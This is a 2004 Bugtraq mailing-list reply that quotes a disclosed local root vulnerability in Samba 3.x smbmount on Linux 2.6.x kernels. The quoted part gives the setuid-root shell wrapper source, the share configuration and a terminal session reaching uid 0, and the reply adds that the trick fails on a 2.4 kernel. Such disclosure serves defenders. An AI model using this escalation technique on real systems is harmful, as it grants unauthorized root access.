bugtraq - RE: Samba 3.x + kernel 2.6.x local root vulnerability

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Message-ID: <9B66BBD37D5DD411B8CE00508B69700F05ADDC57@pborolocal.rnib.org.uk>
Date: Tue, 10 Feb 2004 11:35:32 -0000
From: John.Airey@...b.org.uk
To: bugtraq@...urityfocus.com
Subject: RE: Samba 3.x + kernel 2.6.x local root vulnerability


> -----Original Message-----
> From: Michal Medvecky [mailto:M.Medvecky@...cvut.cz]
> Sent: 09 February 2004 21:23
> To: bugtraq@...urityfocus.com
> Subject: Samba 3.x + kernel 2.6.x local root vulnerability
> 
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> "share" - smb server
> "slovakia" - smb client
>                                                               
>                                                               
>                    
> misko@...vakia:~$ smbmount --version
> Usage: mount.smbfs service mountpoint [-n] [-o options,...]
> Version 3.0.1-Debian
>                                                               
>                                                               
>                    
> misko@...vakia:~$ ls -l /usr/bin/smbmount
> - - -rwxr-xr-x    1 root     root       591756 2004-01-13 
> 20:29 /usr/bin/smbmount
> misko@...vakia:~$ ls -l /usr/bin/smbmnt
> - - -rwsr-sr-x    1 root     root         8088 2004-01-13 
> 20:29 /usr/bin/smbmnt
>      ^                                                        
>                                                               
>                    
> 
> Confirmed to be default on Debian and Mandrake.
> 
> share:/data/share# cat a.c
> main()
> {
>         setuid(0);
>         setgid(0);
>         system("/bin/bash");
> }
>                                                               
>                                                               
>                    
> share:/data/share# make a
> cc     a.c   -o a
> share:/data/share# chmod +s a
> share:/data/share#
>                                                               
>                                                               
>                    
> share:/etc/samba/smb.conf
>                                                               
>                                                               
>                    
> [share]
> path = /data/share
> writable = no
> locking = no
> public = yes
> guest ok = yes
> comment = Share
>                                                               
>                                                               
>                    
> share:/data/share# ls -l a
> - - -rwsr-sr-x    1 root     root        11716 Feb  8 12:39 a
>                                                               
>                                                               
>                    
> misko@...vakia:~$ ls -l pokus/a
> - - -rwsr-sr-x    1 root     root        11716 2004-02-08 
> 12:39 pokus/a
> misko@...vakia:~$ pokus/a
> root@...vakia:~# id
> uid=0(root) gid=0(root) 
> skupiny=1000(misko),0(root),29(audio),100(users),1034(mtr),1035(333)
> root@...vakia:~#
> 
> Confirmed to work on all 2.6.x kernels, not confirmed on 2.4.x.

Doesn't work on kernel 2.4.20-8.9 for RedHat Linux 9, even after making
/usr/bin/smbmnt suid root (it isn't by default). 

- 
John Airey, BSc (Jt Hons), CNA, RHCE
Internet systems support officer, ITCSD, Royal National Institute of the
Blind,
Bakewell Road, Peterborough PE2 6XU,
Tel.: +44 (0) 1733 375299 Fax: +44 (0) 1733 370848 John.Airey@...b.org.uk 

According to the book of Acts, Eutychus was the first man to suffer from a
General Protection Fault with Windows.

- 
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